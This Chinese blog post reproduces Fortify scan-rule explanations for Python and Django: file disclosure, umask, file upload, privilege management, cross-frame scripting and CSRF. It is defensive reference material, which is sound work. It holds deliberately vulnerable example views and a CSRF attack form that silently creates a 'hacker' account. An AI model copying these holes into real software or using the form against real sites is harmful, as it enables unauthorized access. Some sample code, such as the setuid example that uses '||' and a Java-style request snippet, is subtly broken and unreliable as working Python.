fortify扫描结果速查(Python)

2020-05-21

× 文章目录

1. Python

fortify扫描结果速查(Python)，篇幅十分大，推荐使用ctrl+F查找~~~

Python

API误用

File Disclosure: Django

ABSTRACT

通过用户输入构建 FileResponse 实例可允许攻击者下载应用程序二进制码，或者查看受保护目录下的任意文件。

EXPLANATION

在以下情况下，会发生文件泄露：

数据从一个不可信赖的数据源进入程序。
数据用于动态地构造一个路径。

例 1：以下代码接收不可信的数据并使用它打开返回给用户的文件。

from django.http import FileResponse

...

def file_disclosure(request):

    path = request.GET['returnURL']

    return FileResponse(open(path, 'rb'))

...

如果攻击者使用请求参数提供与某个敏感文件位置相匹配的 URL，他们将能够查看该文件。例如，使用 “http://www.yourcorp.com/webApp/logic?returnURL=settings.py“ 将能够查看该应用程序的“settings.py”。

RECOMMENDATIONS

请不要要使用不可信赖的数据请求服务器端资源。而应使用介于位置与路径之间的间接方法。

请不要使用：

< a href="http://www.yourcorp.com/webApp/logic?nextPage=dir/signup">New Customer</a>

而应使用：

< a href="http://www.yourcorp.com/webApp/logic?nextPage=newCustomer">New Customer</a>

服务器端逻辑应具有逻辑名称与服务器端路径的映射（以逻辑名称为键），在上例中，键“newCustomer”下存储的路径应为“/dir/signup”。

REFERENCES

[1] Adrian Holovaty and Jacob Kaplan-Moss The Django Book: Chapter 20. Security

[2] Standards Mapping - Common Weakness Enumeration CWE ID 552

[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754

[4] Standards Mapping - General Data Protection Regulation Access Violation

[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)

[6] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.12.1 Secure File Upload Architectural Requirements, 12.5.1 File Download Requirements

[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls

[8] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input

[9] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference

[10] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References

[11] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References

[12] Standards Mapping - OWASP Top 10 2017 A5 Broken Access Control

[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1

[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.4

[15] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8

[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8

[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8

[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8

[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8

[20] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control

[21] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 073

[22] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I

[23] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I

[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I

[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I

[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I

[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I

[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I

[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I

[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I

[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I

[32] Standards Mapping - Web Application Security Consortium Version 2.00 URL Redirector Abuse (WASC-38)

Often Misused: File System(umask)

ABSTRACT

由参数 umask() 指定的掩码常常很容易与 chmod() 的参数混淆。

EXPLANATION

umask() man page 以错误的指令开始：

“umask sets the umask to mask & 0777”

尽管这种行为可以更好地遵从 chmod() 的用法，这种情况下，由用户提供的参数指定在特定文件上启用的位数，但事实上 umask() 的行为恰恰相反：umask() 将 umask 设为 ~mask & 0777。

umask() man page 接下来描述了 umask() 的正确使用方法：

“umask 用于为新建文件设置初始文件权限。具体的说，将会通过 mode 参数关闭 umask 中的权限（例如，umask 的通用默认值 022 会导致以权限 0666 & ~022 = 0644 = rw-r–r– 创建新文件，而在正常情况下，mode 应该为 0666）。”

RECOMMENDATIONS

为计算合适的 umask 值，用 666 减去该 umask（用于文件），或用 777 减去该 umask（用于目录）。　

确保 umask 值以“0”开头，

以表明这是一个八进制值。否则，会将 umask 值解析为十进制

值。

REFERENCES

[1] Standards Mapping - Common Weakness Enumeration CWE ID 249, CWE ID 560

[2] Standards Mapping - General Data Protection Regulation Access Violation

[3] Standards Mapping - OWASP Top 10 2004 A5 Buffer Overflow

[4] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.5

[5] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1

[6] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.2

[7] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.2

[8] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.2

[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.2

[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.2

[11] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection

[12] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3590.1 CAT I

[13] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3590.1 CAT I

[14] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3590.1 CAT I

[15] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3590.1 CAT I

[16] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3590.1 CAT I

[17] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3590.1 CAT I

[18] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3590.1 CAT I

Often Misused: File Upload

ABSTRACT

允许用户上传文件可能会让攻击者注入危险内容或恶意代码，并在服务器上运行。

EXPLANATION

无论编写程序所用的语言是什么，最具破坏性的攻击通常都会涉及执行远程代码，攻击者借此可在程序上下文中成功执行恶意代码。如果允许攻击者向某个可通过 Web 访问的目录上传文件，并能够将这些文件传递给 Python 解释器，这些攻击者就能让这些文件中包含的恶意代码在服务器上执行。

示例 1：以下代码会处理上传的文件，并将它们移到 Web 根目录下的一个目录中。攻击者可以将恶意文件上传到该程序，并随后从服务器中请求这些文件。

from django.core.files.storage import default_storage

from django.core.files.base import File

...

def handle_upload(request):

  files = request.FILES

  for f in files.values():

    path = default_storage.save('upload/', File(f))

...

即使程序将上传的文件存储在一个无法通过 Web 访问的目录中，攻击者仍然有可能通过向服务器环境引入恶意内容来发动其他攻击。如果程序容易出现 path manipulation、command injection 或 remote include 漏洞，那么攻击者就可能上传带恶意内容的文件，并利用另一种漏洞促使程序读取或执行该文件。

RECOMMENDATIONS

如果程序必须允许文件上传，则应当只接受程序需要的特定类型的内容，从而阻止攻击者提供恶意内容。依赖于上传内容的攻击通常要求攻击者能够提供他们自行选择的内容。限制此内容可以在最大程度上限制可能被攻击的范围。使用 Django Model 和 Form 字段来验证文件类型。

例 2：以下代码使用 ModelForm 和 magic 模块一起来确保仅上传给定大小的 XML 文件。

class UploadedFileForm(ModelForm):

  def clean_file(self):

    file = self.cleaned_data.get("file", False)

    content = file.read()

    if len(content) > 2048:

      raise ValidationError("File too big.")

    filetype = magic.from_buffer(content)

    if not "XML" in filetype:

      raise ValidationError("File is not XML.")

    return file

  ...

除验证文件类型、大小和内容外，为了使攻击者难以破译上传文件的名称和位置，使用随机上传目录名称也是一种不错的方法。这种解决方法通常是因程序而异的，并且在以下几个方面各不相同：将上传的文件存储在一个目录中（目录名称是在程序初始化时通过强随机值生成的）、为每个上传的文件分配一个随机名称，以及利用数据库中的条目跟踪这些文件。

REFERENCES

[1] Django Foundation File Uploads

[2] Standards Mapping - Common Weakness Enumeration CWE ID 434

[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [16] CWE ID 434

[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167

[5] Standards Mapping - FIPS200 SI

[6] Standards Mapping - General Data Protection Regulation Indirect Access to Sensitive Data

[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)

[8] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.2.1 File Integrity Requirements, 12.5.2 File Download Requirements, 13.1.5 Generic Web Service Security Verification Requirements

[9] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection

[10] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws

[11] Standards Mapping - OWASP Top 10 2007 A3 Malicious File Execution

[12] Standards Mapping - OWASP Top 10 2010 A1 Injection

[13] Standards Mapping - OWASP Top 10 2013 A1 Injection

[14] Standards Mapping - OWASP Top 10 2017 A1 Injection

[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6

[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.3

[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1

[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1

[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1

[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1

[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1

[22] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection

[23] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 434

[24] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 434

[25] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I

[26] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I

[27] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I

[28] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I

[29] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I

[30] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I

[31] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I

[32] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II

[33] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II

[34] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II

[35] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II

[36] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II

[37] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II

[38] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II

[39] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II

[40] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II

[41] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II

[42] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)

Often Misused: Privilege Management

ABSTRACT

没有遵守最低权限原则会增加引发其他漏洞的风险。

EXPLANATION

利用 root 权限运行的程序已经造成了无数的 Unix 安全灾难。仔细检查您的程序授权是否会引发安全问题十分必要，同样重要的是，对那些授予了权限的应用程序，应及时撤销其权限并返回至未授权状态，把因忽略漏洞而引发的破坏控制到最小。

Privilege management 函数有时会以一些不明显的方式运行，并且它们在不同的平台上面会有较大差异。当您从一个非 root 用户切换到另外一个用户时，这种差异会尤其明显。

信号处理程序以及产生的进程会在其本身进程所具有的权限运行，所以当触发某一个信号或执行子进程时，一个进程以 root 权限运行，信号处理程序或者子进程将会以 Root 权限运行。因此，攻击者有可能利用这个提高的权限来进行更严重的破坏。

RECOMMENDATIONS

如果程序经过重写后可不需要 root 访问权限，请进行重写。

请在提高权限之前关闭信号，以避免信号处理代码会以意外的权限运行。在将权限降低回到用户权限后，可重新启用信号。

请尽可能在完成需要特定权限的操作后，通过立即调用一个非零参数的 setuid() 来丢弃权限。

在有些情况下，应用程序可能无法调用 setuid()/setgid() 来丢弃权限。尤其当应用程序需要不断地以 root 身份代表用户来执行某些操作时，会发生这种情况。比如，一个 FTP 进程需要绑定到 1 至 1024 之间的端口以便于为用户请求服务。在这样的情况下，seteuid() 和 getegid() 函数的使用应该暂时降低到一个较低权限等级，并且保留在需要时返回为 root 的能力。请注意，这同样会使攻击者可以很容易地把应用程序退回到 root 权限，所以当无法完全丢弃权限的时候，应该只使用 seteuid()/getegid()。

以下程序大体勾勒出了构造较好的 setuid root 程序。

runner_uid = os.getuid()

runner_gid = os.getgid()

owner_uid = os.geteuid()

owner_gid = os.getegid()

# Drop privileges right up front, but we'll need them back in a little bit, so use effective id

if (os.setreuid(owner_uid, runner_uid) ||

os.setregid(owner_gid, runner_gid)):

    exit(-1)

# privilege not necessary or desirable at this point

processCommandLine(sys.argv)

# Take privileges back

if (os.setreuid(runner_uid, owner_uid) ||

os.setregid(runner_gid, owner_gid)):

    exit(-1)

# requires root

openSocket(88)

# Drop privileges for good

if (os.setuid(runner_uid) || os.setgid(runner_gid)):

    exit(-1)

doWork()

另外一个既能够保留权限又能最小化风险的办法是把程序分割成需要权限和不需要权限的部分。创建两个进程：一个进程会在没有权限的状态下完成大部分工作，另外一个进程持有权限，但仅在其他进程要求时才会执行十分有限的操作。

REFERENCES

[1] H. Chen, D. Wagner, and D. Dean. Setuid Demystified. 11th USENIX Security Symposium

[2] Standards Mapping - Common Weakness Enumeration CWE ID 250

[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000381, CCI-002233, CCI-002235

[4] Standards Mapping - General Data Protection Regulation Access Violation

[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-6 Least Privilege (P1)

[6] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.2.1 Authentication Architectural Requirements, 10.2.2 Malicious Code Search

[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication

[8] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 7.1.1

[9] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 7.1.1

[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 7.1.2

[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 7.1.2

[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 7.1.2

[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 7.1.2

[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control

[15] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 250

[16] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 250

[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3500 CAT II

[18] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3500 CAT II

[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3500 CAT II

[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3500 CAT II

[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3500 CAT II

[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3500 CAT II

[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3500 CAT II

[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II

[25] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II

[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II

[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II

[28] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II

[29] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II

[30] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II

[31] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II

[32] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II

[33] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II

[34] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authorization

[35] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)

代码质量

Portability Flaw: File Separator

ABSTRACT

使用硬编码文件分隔符会导致可移植性问题。

EXPLANATION

不同的操作系统使用不同的字符作为文件分隔符。例如，Microsoft Windows 系统使用 “\”，而 UNIX 系统则使用 “/“。应用程序需要在不同的平台上运行时，使用硬编码文件分隔符会导致应用程序逻辑执行错误，并有可能导致 denial of service。

例 1：以下代码使用硬编码文件分隔符来打开文件：

...

os.open(directoryName + "\\" + fileName);

...

RECOMMENDATIONS

为编写可移植代码，不应使用硬编码文件分隔符，而应使用语言库提供的独立于平台的 API。

示例 2：以下代码实现的功能与Example 1 相同，但会使用独立于平台的 API 来指定文件分隔符：

...

os.open(os.path.join(directoryName, fileName));

...

REFERENCES

[1] Standards Mapping - Common Weakness Enumeration CWE ID 474

[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310

[3] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6

[4] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6

[5] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6

[6] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6

[7] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection

[8] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002520 CAT II

[9] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002520 CAT II

[10] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002520 CAT II

[11] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002520 CAT II

[12] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002520 CAT II

[13] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002520 CAT II

[14] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002520 CAT II

[15] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002520 CAT II

[16] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002520 CAT II

[17] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002520 CAT II

封装

Cross-Frame Scripting

ABSTRACT

如果未能限制在 iframe 内包含应用程序，则会导致跨站请求伪造或钓鱼攻击。

EXPLANATION

当应用程序出现以下情况时，将出现 cross-frame scripting 漏洞：

允许自身包含在 iframe 内。
未能通过 X-Frame-Options 标头指定组帧策略。
使用不力保护，如基于 JavaScript 的 frame busting 逻辑。

跨框架脚本漏洞经常为 clickjacking 攻击奠定基础，攻击者可利用其执行跨站请求伪造或钓鱼攻击。

RECOMMENDATIONS

现代浏览器支持 X-Frame-Options HTTP 标头，它指示允许在帧内还是 iframe 内加载资源。如果响应包含值为 SAMEORIGIN 的标头，则当请求来自同一个站点时，浏览器将只在帧中加载资源。如果标头设置为 DENY，则无论站点是否发出请求，浏览器都将阻止在帧中加载资源。

Django 提供简单的中间件，以便在响应中自动包含此标头。使用以下设置启用 XFrameOptionsMiddleware

...

MIDDLEWARE_CLASSES = (

    ...

    'django.middleware.clickjacking.XFrameOptionsMiddleware',

    ...

)

REFERENCES

[1] OWASP Cross Frame Scripting

[2] OWASP Clickjacking

[3] OWASP Clickjacking Defense Cheat Sheet

[4] Clickjacking Protection

[5] Standards Mapping - Common Weakness Enumeration CWE ID 1021

[6] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-001941, CCI-001942

[7] Standards Mapping - FIPS200 SI

[8] Standards Mapping - General Data Protection Regulation Indirect Access to Sensitive Data

[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-23 Session Authenticity (P1)

[10] Standards Mapping - OWASP Application Security Verification Standard 4.0 14.4.3 HTTP Security Headers Requirements, 14.4.7 HTTP Security Headers Requirements

[11] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management

[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6

[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6

[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6

[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6

[16] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection

[17] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

[18] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

[19] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

[20] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

[21] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

[22] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

[23] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

[24] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

[25] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

[26] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

[27] Standards Mapping - Web Application Security Consortium Version 2.00 Server Misconfiguration (WASC-14)

Cross-Site Request Forgery

ABSTRACT

Django 应用程序不启用 CSRF 中间件保护

EXPLANATION

跨站点伪装请求 (CSRF) 漏洞会在以下情况下发生：

Web 应用程序使用会话 cookie。
应用程序未验证请求是否经过用户同意便处理 HTTP 请求。

Nonce 是随消息一起发送的加密随机值，可防止 replay 攻击。如果该请求未包含证明其来源的 nonce，则处理该请求的代码将易受到 CSRF 攻击（除非它并未更改应用程序的状态）。这意味着使用会话 cookie 的 Web 应用程序必须采取特殊的预防措施，确保攻击者无法诱骗用户提交伪请求。假设有一个 Web 应用程序，它允许管理员通过提交此表单来创建新帐户：

<form method="POST" action="/new_user" >

Name of new user: <input type="text" name="username">

Password for new user: <input type="password" name="user_passwd">

<input type="submit" name="action" value="Create User">

</form>

攻击者可能会使用以下内容来建立一个网站：

<form method="POST" action="http://www.example.com/new_user">

<input type="hidden" name="username" value="hacker">

<input type="hidden" name="user_passwd" value="hacked">

</form>

<script>

document.usr_form.submit();

</script>

如果 example.com 的管理员在网站上具有活动会话时访问了恶意页面，则会在毫不知情的情况下为攻击者创建一个帐户。这就是 CSRF 攻击。正是由于该应用程序无法确定请求的来源，才有可能受到 CSRF 攻击。任何请求都有可能是用户选定的合法操作，也有可能是攻击者设置的伪操作。攻击者无法查看伪请求生成的网页，因此，这种攻击技术仅适用于篡改应用程序状态的请求。

如果应用程序通过 URL 传递会话标识符（而不是 cookie），则不会出现 CSRF 问题，因为攻击者无法访问会话标识符，也无法在伪请求中包含会话标识符。

RECOMMENDATIONS

在 settings.py 中启用 django.middleware.csrf.CsrfViewMiddleware 中间件，使 Django 能在 POST 请求中自动插入 CSRF 标记。

使用会话 Cookie 的应用程序必须在每个表单发布中包含几条信息，以便后端代码可以用来验证请求的来源。为此，其中一种方法就是使用一个随机请求标识符或随机数，如下所示：

RequestBuilder rb = new RequestBuilder(RequestBuilder.POST, "/new_user");

body = addToPost(body, new_username);

body = addToPost(body, new_passwd);

body = addToPost(body, request_id);

rb.sendRequest(body, new NewAccountCallback(callback));

这样，后端逻辑可先验证请求标识符，然后再处理其他表单数据。如果可能，每个服务器请求的请求标识符都应该是唯一的，而不是在特定会话的各个请求之间共享。对于会话标识符而言，攻击者越难猜出请求标识符，则越难成功进行 CSRF 攻击。标记不应能够轻松猜出，应以保护会话标记的方法对其加以保护，例如使用 TLSv1.2。

其他缓解技术还包括：

框架保护：大多数现代化的 Web 应用框架都嵌入了 CSRF 保护，它们将自动包含并验证 CSRF 标记。

使用质询-响应控制：强制客户响应由服务器发送的质询是应对 CSRF 的强有力防御方法。可以用于此目的的一些质询如下：CAPTCHA、密码重新验证和一次性标记。

检查 HTTP Referer/原始标题：攻击者在执行 CSRF 攻击时无法冒仿这些标题。这使这些标题可以用于预防 CSRF 攻击。

再次提交会话 Cookie：除了实际的会话 ID Cookie 外，将会话 ID Cookie 作为隐藏表单值发送是预防 CSRF 攻击的有效防护方法。服务器在处理其余表单数据之前，会先检查这些值，以确保它们完全相同。如果攻击者代表用户提交表单，则无法根据同源策略 (SOP) 修改会话 ID Cookie 值。

限制会话的有效期：当通过 CSRF 攻击访问受保护的资源时，只有当作为攻击一部分发送的会话 ID 在服务器上仍然有效时，攻击才会生效。限制会话的有效期将降低攻击成功的可能性。

这里所描述的技术可以使用 XSS 攻击破解。有效的 CSRF 缓解包括 XSS 缓解技术。

REFERENCES

[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics

[2] Standards Mapping - Common Weakness Enumeration CWE ID 352

[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [9] CWE ID 352

[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-001941, CCI-001942

[5] Standards Mapping - General Data Protection Regulation Access Violation

[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-23 Session Authenticity (P1)

[7] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management, 4.2.2 Operation Level Access Control, 13.2.3 RESTful Web Service Verification Requirements

[8] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication

[9] Standards Mapping - OWASP Top 10 2007 A5 Cross Site Request Forgery (CSRF)

[10] Standards Mapping - OWASP Top 10 2010 A5 Cross-Site Request Forgery (CSRF)

[11] Standards Mapping - OWASP Top 10 2013 A8 Cross-Site Request Forgery (CSRF)

[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.5

[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.9

[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.9

[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.9

[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.9

[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.9

[18] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control

[19] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 352

[20] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 352

[21] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 352

[22] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3585 CAT II

[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3585 CAT II

[24] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3585 CAT II

[25] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3585 CAT II

[26] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3585 CAT II

[27] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3585 CAT II

[28] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3585 CAT II

[29] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

